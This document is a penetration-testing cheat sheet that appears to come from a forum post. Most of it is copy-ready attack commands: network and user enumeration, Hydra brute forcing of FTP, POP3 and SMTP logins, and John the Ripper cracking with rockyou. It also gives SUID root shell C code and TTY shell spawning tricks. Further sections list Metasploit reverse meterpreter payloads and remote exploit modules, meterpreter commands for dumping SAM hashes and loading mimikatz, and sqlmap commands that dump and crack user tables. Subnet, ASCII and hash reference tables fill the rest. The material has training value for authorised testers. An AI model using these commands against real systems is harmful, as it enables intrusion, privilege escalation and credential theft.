x32x01

ADMINISTRATOR

Recon and Enumeration

NMAP Commands

Nmap (“Network Mapper”) is a free and open source utility for network discovery and security auditing. Many systems and network administrators also find it useful for tasks such as network inventory, managing service upgrade schedules, and monitoring host or service uptime. Nmap uses raw IP packets in novel ways to determine what hosts are available on the network, what services (application name and version) those hosts are offering, what operating systems (and OS versions) they are running, what type of packet filters/firewalls are in use, and dozens of other characteristics. It was designed to rapidly scan large networks, but works fine against single hosts. Nmap runs on all major computer operating systems, and official binary packages are available for Linux, Windows, and Mac OS X.
CommandDescription
nmap -v -sS -A -T4 targetNmap verbose scan, runs syn stealth, T4 timing (should be ok on LAN), OS and service version info, traceroute and scripts against services
nmap -v -sS -p–A -T4 targetAs above but scans all TCP ports (takes a lot longer)
nmap -v -sU -sS -p- -A -T4 targetAs above but scans all TCP ports and UDP scan (takes even longer)
nmap -v -p 445 –script=smb-check-vulns
–script-args=unsafe=1 192.168.1.X
Nmap script to scan for vulnerable SMB servers – WARNING: unsafe=1 may cause knockover
nmap localhostDisplays all the ports that are currently in use
ls /usr/share/nmap/scripts/* | grep ftpSearch nmap scripts for keywords

SMB enumeration

In computer networking, Server Message Block (SMB), one version of which was also known as Common Internet File System (CIFS, /ˈsɪfs/), operates as an application-layer network protocol mainly used for providing shared access to files, printers, and serial ports and miscellaneous communications between nodes on a network
CommandDescription
nbtscan 192.168.1.0/24Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain
enum4linux -a target-ipDo Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing

Other Host Discovery

Other methods of host discovery, that don’t use nmap…
CommandDescription
netdiscover -r 192.168.1.0/24Discovers IP, MAC Address and MAC vendor on the subnet from ARP, helpful for confirming you’re on the right VLAN at $client site

SMB Enumeration

Enumerate Windows shares / Samba shares.
CommandDescription
nbtscan 192.168.1.0/24Discover Windows / Samba servers on subnet, finds Windows MAC addresses, netbios name and discover client workgroup / domain
enum4linux -a target-ipDo Everything, runs all options (find windows client domain / workgroup) apart from dictionary based share name guessing

Python Local Web Server

Python local web server command, handy for serving up shells and exploits on an attacking machine.
CommandDescription
python -m SimpleHTTPServer 80Run a basic http server, great for serving up shells etc

Mounting File Shares

How to mount NFS / CIFS, Windows and Linux file shares.
CommandDescription
mount 192.168.1.1:/vol/share /mnt/nfsMount NFS share to /mnt/nfs
mount -t cifs -o username=user,password=pass
,domain=blah //192.168.1.X/share-name /mnt/cifs
Mount Windows CIFS / SMB share on Linux at /mnt/cifs if you remove password it will prompt on the CLI (more secure as it wont end up in bash_history)
net use Z: \\win-server\share password
/user:domain\janedoe /savecred /p:no
Mount a Windows share on Windows from the command line
apt-get install smb4k -yInstall smb4k on Kali, useful Linux GUI for browsing SMB shares

Basic FingerPrinting

A device fingerprint or machine fingerprint or browser fingerprint is information collected about a remote computing device for the purpose of identification. Fingerprints can be used to fully or partially identify individual users or devices even when cookies are turned off.
CommandDescription
nc -v 192.168.1.1 25
telnet 192.168.1.1 25
Basic versioning / fingerprinting via displayed banner

SNMP Enumeration

SNMP enumeration is the process of using SNMP to enumerate user accounts on a target system. SNMP employs two major types of software components for communication: the SNMP agent, which is located on the networking device, and the SNMP management station, which communicates with the agent.
CommandDescription
snmpcheck -t 192.168.1.X -c public
snmpwalk -c public -v1 192.168.1.X 1|
grep hrSWRunName|cut -d* * -f
snmpenum -t 192.168.1.X
onesixtyone -c names -i hosts
SNMP enumeration

DNS Zone Transfers

CommandDescription
nslookup -> set type=any -> ls -d blah.comWindows DNS zone transfer
dig axfr blah.com @ns1.blah.comLinux DNS zone transfer

DNSRecon

DNSRecon provides the ability to perform:
  1. Check all NS Records for Zone Transfers
  2. Enumerate General DNS Records for a given Domain (MX, SOA, NS, A, AAAA, SPF and TXT)
  3. Perform common SRV Record Enumeration. Top Level Domain (TLD) Expansion
  4. Check for Wildcard Resolution
  5. Brute Force subdomain and host A and AAAA records given a domain and a wordlist
  6. Perform a PTR Record lookup for a given IP Range or CIDR
  7. Check a DNS Server Cached records for A, AAAA and CNAME Records provided a list of host records in a text file to check
  8. Enumerate Common mDNS records in the Local Network Enumerate Hosts and Subdomains using Google
DNS Enumeration Kali - DNSReconroot:~#
dnsrecon -d TARGET -D /usr/share/wordlists/dnsmap.txt -t std --xml ouput.xml

HTTP / HTTPS Webserver Enumeration

CommandDescription
nikto -h 192.168.1.1Perform a nikto scan against target
dirbusterConfigure via GUI, CLI input doesn’t work most of the time

Packet Inspection

CommandDescription
tcpdump tcp port 80 -w output.pcap -i eth0tcpdump for port 80 on interface eth0, outputs to output.pcap

Username Enumeration

Some techniques used to remotely enumerate users on a target system.

SMB User Enumeration

CommandDescription
python /usr/share/doc/python-impacket-doc/examples
/samrdump.py 192.168.XXX.XXX
Enumerate users from SMB
ridenum.py 192.168.XXX.XXX 500 50000 dict.txtRID cycle SMB / enumerate users from SMB

SNMP User Enumeration

CommandDescription
snmpwalk public -v1 192.168.X.XXX 1 |grep 77.1.2.25
|cut -d” “ -f4
Enmerate users from SNMP
python /usr/share/doc/python-impacket-doc/examples/
samrdump.py SNMP 192.168.X.XXX
Enmerate users from SNMP
nmap -sT -p 161 192.168.X.XXX/254 -oG snmp_results.txt
(then grep)
Search for SNMP servers with nmap, grepable output

Passwords
Wordlists

CommandDescription
/usr/share/wordlistsKali word lists

Brute Forcing Services

Hydra FTP Brute Force

Hydra is a parallelized login cracker which supports numerous protocols to attack. It is very fast and flexible, and new modules are easy to add. This tool makes it possible for researchers and security consultants to show how easy it would be to gain unauthorized access to a system remotely. On Ubuntu it can be installed from the synaptic package manager. On Kali Linux, it is per-installed.
CommandDescription
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f
192.168.X.XXX ftp -V
Hydra FTP brute force

Hydra POP3 Brute Force

CommandDescription
hydra -l USERNAME -P /usr/share/wordlistsnmap.lst -f
192.168.X.XXX pop3 -V
Hydra POP3 brute force

Hydra SMTP Brute Force

CommandDescription
hydra -P /usr/share/wordlistsnmap.lst 192.168.X.XXX smtp -VHydra SMTP brute force

Use -t to limit concurrent connections, example: -t 15

Password Cracking

John The Ripper – JTR

John the Ripper is different from tools like Hydra. Hydra does blind brute-forcing by trying username/password combinations on a service daemon like ftp server or telnet server. John however needs the hash first. So the greater challenge for a hacker is to first get the hash that is to be cracked. Now a days hashes are more easily crackable using free rainbow tables available online. Just go to one of the sites, submit the hash and if the hash is made of a common word, then the site would show the word almost instantly. Rainbow tables basically store common words and their hashes in a large database. Larger the database, more the words covered.
CommandDescription
john –wordlist=/usr/share/wordlists/rockyou.txt hashesJTR password cracking
john –format=descrypt –wordlist
/usr/share/wordlists/rockyou.txt hash.txt
JTR forced descrypt cracking with wordlist
john –format=descrypt hash –showJTR forced descrypt brute force cracking

Exploit Research

Ways to find exploits for enumerated hosts / services.
CommandDescription
searchsploit windows 2003 | grep -i localSearch exploit-db for exploit, in this example windows 2003 + local esc
site:exploit-db.com exploit kernel <= 3Use google to search exploit-db.com for exploits
grep -R “W7” /usr/share/metasploit-framework
/modules/exploit/windows/*
Search metasploit modules using grep – msf search sucks a bit

Compiling Exploits

Identifying if C code is for Windows or Linux

C #includes will indicate which OS should be used to build the exploit.
CommandDescription
process.h, string.h, winbase.h, windows.h, winsock2.hWindows exploit code
arpa/inet.h, fcntl.h, netdb.h, netinet/in.h,
sys/sockt.h, sys/types.h, unistd.h
Linux exploit code

Build Exploit GCC

Compile exploit gcc.
CommandDescription
gcc -o exploit exploit.cBasic GCC compile

GCC Compile 32Bit Exploit on 64Bit Kali

Handy for cross compiling 32 bit binaries on 64 bit attacking machines.
CommandDescription
gcc -m32 exploit.c -o exploitCross compile 32 bit binary on 64 bit Linux

Compile Windows .exe on Linux

Build / compile windows exploits on Linux, resulting in a .exe file.
CommandDescription
i586-mingw32msvc-gcc exploit.c -lws2_32 -o exploit.exeCompile windows .exe on Linux

SUID Binary

Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID / GID and shell as required.

below are some quick copy and pate examples for various shells:

SUID C Shell for /bin/bash

Code:
int main(void){
       setresuid(0, 0, 0);
       system("/bin/bash");
}

SUID C Shell for /bin/sh

Code:
int main(void){
       setresuid(0, 0, 0);
       system("/bin/sh");
}

Building the SUID Shell binary

gcc -o suid suid.c

For 32 bit:
gcc -m32 -o suid suid.c

TTY Shells

Tips / Tricks to spawn a TTY shell from a limited shell in Linux, useful for running commands like su from reverse shells.

Python TTY Shell Trick

Code:
python -c 'import pty;pty.spawn("/bin/bash")'
echo os.system('/bin/bash')

Spawn Interactive sh shell

Code:
/bin/sh -i

Spawn Perl TTY Shell

Code:
exec "/bin/sh";
perl —e 'exec "/bin/sh";'

Spawn Ruby TTY Shell

Code:
exec "/bin/sh"

Spawn Lua TTY Shell

Code:
os.execute('/bin/sh')

Spawn TTY Shell from Vi

Run shell commands from vi:
Code:
:!bash

Spawn TTY Shell NMAP

Code:
!sh

Metasploit

Metasploit was created by H. D. Moore in 2003 as a portable network tool using Perl. By 2007, the Metasploit Framework had been completely rewritten in Ruby. On October 21, 2009, the Metasploit Project announced that it had been acquired by Rapid7, a security company that provides unified vulnerability management solutions.

Like comparable commercial products such as Immunity’s Canvas or Core Security Technologies’ Core Impact, Metasploit can be used to test the vulnerability of computer systems or to break into remote systems. Like many information security tools, Metasploit can be used for both legitimate and unauthorized activities. Since the acquisition of the Metasploit Framework, Rapid7 has added two open core proprietary editions called Metasploit Express and Metasploit Pro.

Metasploit’s emerging position as the de facto exploit development framework led to the release of software vulnerability advisories often accompanied by a third party Metasploit exploit module that highlights the exploitability, risk and remediation of that particular bug. Metasploit 3.0 began to include fuzzing tools, used to discover software vulnerabilities, rather than just exploits for known bugs. This avenue can be seen with the integration of the lorcon wireless (802.11) toolset into Metasploit 3.0 in November 2006. Metasploit 4.0 was released in August 2011.

Meterpreter Payloads


Windows reverse meterpreter payload

CommandDescription
set payload windows/meterpreter/reverse_tcpWindows reverse tcp payload

Windows VNC Meterpreter payload

CommandDescription
set payload windows/vncinject/reverse_tcp
set ViewOnly false
Meterpreter Windows VNC Payload

Linux Reverse Meterpreter payload

CommandDescription
set payload linux/meterpreter/reverse_tcpMeterpreter Linux Reverse Payload

Meterpreter Cheat Sheet

Useful meterpreter commands.
CommandDescription
upload file c:\\windowsMeterpreter upload file to Windows target
download c:\\windows\\repair\\sam /tmpMeterpreter download file from Windows target
download c:\\windows\\repair\\sam /tmpMeterpreter download file from Windows target
execute -f c:\\windows\temp\exploit.exeMeterpreter run .exe on target – handy for executing uploaded exploits
execute -f cmd -cCreates new channel with cmd shell
psMeterpreter show processes
shellMeterpreter get shell on the target
getsystemMeterpreter attempts priviledge escalation the target
hashdumpMeterpreter attempts to dump the hashes on the target
portfwd add –l 3389 –p 3389 –r targetMeterpreter create port forward to target machine
portfwd delete –l 3389 –p 3389 –r targetMeterpreter delete port forward

Common Metasploit Modules

Remote Windows Metasploit Modules (exploits)

CommandDescription
use exploit/windows/smb/ms08_067_netapiMS08_067 Windows 2k, XP, 2003 Remote Exploit
use exploit/windows/dcerpc/ms06_040_netapiMS08_040 Windows NT, 2k, XP, 2003 Remote Exploit
use exploit/windows/smb/
ms09_050_smb2_negotiate_func_index
MS09_050 Windows Vista SP1/SP2 and Server 2008 (x86) Remote Exploit

Local Windows Metasploit Modules (exploits)

CommandDescription
use exploit/windows/local/bypassuacBypass UAC on Windows 7 + Set target + arch, x86/64

Auxilary Metasploit Modules

CommandDescription
use auxiliary/scanner/http/dir_scannerMetasploit HTTP directory scanner
use auxiliary/scanner/http/jboss_vulnscanMetasploit JBOSS vulnerability scanner
use auxiliary/scanner/mssql/mssql_loginMetasploit MSSQL Credential Scanner
use auxiliary/scanner/mysql/mysql_versionMetasploit MSSQL Version Scanner
use auxiliary/scanner/oracle/oracle_loginMetasploit Oracle Login Module

Metasploit Powershell Modules

CommandDescription
use exploit/multi/script/web_deliveryMetasploit powershell payload delivery module
post/windows/manage/powershell/exec_powershellMetasploit upload and run powershell script through a session
use exploit/multi/http/jboss_maindeployerMetasploit JBOSS deploy
use exploit/windows/mssql/mssql_payloadMetasploit MSSQL payload

Post Exploit Windows Metasploit Modules

CommandDescription
run post/windows/gather/win_privsMetasploit show privileges of current user
use post/windows/gather/credentials/gppMetasploit grab GPP saved passwords
load mimikatz -> wdigestMetasplit load Mimikatz
run post/windows/gather/local_admin_search_enumIdenitfy other machines that the supplied domain user has administrative access to

Networking

TTL Fingerprinting

Operating SystemTTL Size
Windows128
Linux64
Solaris255
Cisco / Network255

IPv4

Classful IP Ranges

E.g Class A,B,C (depreciated)
ClassIP Address Range
Class A IP Address Range0.0.0.0 – 127.255.255.255
Class B IP Address Range128.0.0.0 – 191.255.255.255
Class C IP Address Range192.0.0.0 – 223.255.255.255
Class D IP Address Range224.0.0.0 – 239.255.255.255
Class E IP Address Range240.0.0.0 – 255.255.255.255

IPv4 Private Address Ranges

ClassRange
Class A Private Address Range10.0.0.0 – 10.255.255.255
Class B Private Address Range172.16.0.0 – 172.31.255.255
Class C Private Address Range192.168.0.0 – 192.168.255.255
127.0.0.0 – 127.255.255.255

IPv4 Subnet Cheat Sheet

CIDRDecimal MaskNumber of Hosts
/31255.255.255.2541 Host
/30255.255.255.2522 Hosts
/29255.255.255.2496 Hosts
/28255.255.255.24014 Hosts
/27255.255.255.22430 Hosts
/26255.255.255.19262 Hosts
/25255.255.255.128126 Hosts
/24255.255.255.0254 Hosts
/23255.255.254.0512 Host
/22255.255.252.01022 Hosts
/21255.255.248.02046 Hosts
/20255.255.240.04094 Hosts
/19255.255.224.08190 Hosts
/18255.255.192.016382 Hosts
/17255.255.128.032766 Hosts
/16255.255.0.065534 Hosts
/15255.254.0.0131070 Hosts
/14255.252.0.0262142 Hosts
/13255.248.0.0524286 Hosts
/12255.240.0.01048674 Hosts
/11255.224.0.02097150 Hosts
/10255.192.0.04194302 Hosts
/9255.128.0.08388606 Hosts
/8255.0.0.016777214 Hosts

ASCII Table Cheat Sheet

Useful for Web Application Penetration Testing, or if you get stranded on Mars and need to communicate with NASA.
ASCIICharacter
x00Null Byte
x08BS
x09TAB
x0aLF
x0dCR
x1bESC
x20SPC
x21!
x22
x23#
x24$
x25%
x26&
x27`
x28(
x29)
x2a*
x2b+
x2c,
x2d
x2e.
x2f/
x300
x311
x322
x333
x344
x355
x366
x377
x388
x399
x3a:
x3b;
x3c<
x3d=
x3e>
x3f?
x40@
x41A
x42B
x43C
x44D
x45E
x46F
x47G
x48H
x49I
x4aJ
x4bK
x4cL
x4dM
x4eN
x4fO
x50P
x51Q
x52R
x53S
x54T
x55U
x56V
x57W
x58X
x59Y
x5aZ
x5b[
x5c\
x5d]
x5e^
x5f_
x60`
x61a
x62b
x63c
x64d
x65e
x66f
x67g
x68h
x69i
x6aj
x6bk
x6cl
x6dm
x6en
x6fo
x70p
x71q
x72r
x73s
x74t
x75u
x76v
x77w
x78x
x79y
x7az

CISCO IOS Commands

A collection of useful Cisco IOS commands.
CommandDescription
enableEnters enable mode
conf tShort for, configure terminal
(config)# interface fa0/0Configure FastEthernet 0/0
(config-if)# ip addr 0.0.0.0 255.255.255.255Add ip to fa0/0
(config-if)# ip addr 0.0.0.0 255.255.255.255Add ip to fa0/0
(config-if)# line vty 0 4Configure vty line
(config-line)# loginCisco set telnet password
(config-line)# password YOUR-PASSWORDSet telnet password
# show running-configShow running config loaded in memory
# show startup-configShow sartup config
# show versionshow cisco IOS version
# show sessiondisplay open sessions
# show ip interfaceShow network interfaces
# show interface e0Show detailed interface info
# show ip routeShow routes
# show access-listsShow access lists
# dir file systemsShow available files
# dir all-filesystemsFile information
# dir /allSHow deleted files
# terminal length 0No limit on terminal output
# copy running-config tftpCopys running config to tftp server
# copy running-config startup-configCopy startup-config to running-config

Cryptography
Hash Lengths
HashSize
MD5 Hash Length16 Bytes
SHA-1 Hash Length20 Bytes
SHA-256 Hash Length32 Bytes
SHA-512 Hash Length64 Bytes

Hash Examples


Likely just use hash-identifier for this but here are some example hashes:
HashExample
MD5 Hash Example8743b52063cd84097a65d1633f5c74f5
MD5 $PASS:$SALT Example01dfae6e5d4d90d9892622325959afbe:7050461
MD5 $SALT:$PASSf0fda58630310a6dd91a7d8f0a4ceda2:4225637426
SHA1 Hash Exampleb89eaac7e61417341b710b727768294d0e6a277b
SHA1 $PASS:$SALT2fc5a684737ce1bf7b3b239df432416e0dd07357:2014
SHA1 $SALT:$PASScac35ec206d868b7d7cb0b55f31d9425b075082b:5363620024
SHA-256127e6fbfe24a750e72930c220a8e138275656b
8e5d8f48a98c3c92df2caba935
SHA-256 $PASS:$SALTc73d08de890479518ed60cf670d17faa26a4a7
1f995c1dcc978165399401a6c4
SHA-256 $SALT:$PASSeb368a2dfd38b405f014118c7d9747fcc97f4
f0ee75c05963cd9da6ee65ef498:560407001617
SHA-51282a9dda829eb7f8ffe9fbe49e45d47d2dad9
664fbb7adf72492e3c81ebd3e29134d9bc
12212bf83c6840f10e8246b9db54a4
859b7ccd0123d86e5872c1e5082f
SHA-512 $PASS:$SALTe5c3ede3e49fb86592fb03f471c35ba13e8
d89b8ab65142c9a8fdafb635fa2223c24e5
558fd9313e8995019dcbec1fb58414
6b7bb12685c7765fc8c0d51379fd
SHA-512 $SALT:$PASS976b451818634a1e2acba682da3fd6ef
a72adf8a7a08d7939550c244b237c72c7d4236754
4e826c0c83fe5c02f97c0373b6b1
386cc794bf0d21d2df01bb9c08a
NTLM Hash Exampleb4b9b02e6f09a9bd760f388b67351e2b

SQLMap Examples

sqlmap is an open source penetration testing tool that automates the process of detecting and exploiting SQL injection flaws and taking over of database servers. It comes with a powerful detection engine, many niche features for the ultimate penetration tester and a broad range of switches lasting from database fingerprinting, over data fetching from the database, to accessing the underlying file system and executing commands on the operating system via out-of-band connections.
CommandDescription
sqlmap -u http://meh.com –forms –batch –crawl=10
–cookie=jsessionid=54321 –level=5 –risk=3
Automated sqlmap scan
sqlmap -u TARGET -p PARAM –data=POSTDATA –cookie=COOKIE
–level=3 –current-user –current-db –passwords
–file-read=”/var/www/blah.php”
Targeted sqlmap scan
sqlmap -u “http://meh.com/meh.php?id=1”
–dbms=mysql –tech=U –random-agent –dump
Scan url for union + error based injection with mysql backend
and use a random user agent + database dump
sqlmap -o -u “http://meh.com/form/” –formssqlmap check form for injection
sqlmap -o -u “http://meh/vuln-form” –forms
-D database-name -T users –dump
sqlmap dump and crack hashes for table users on database-name.
 
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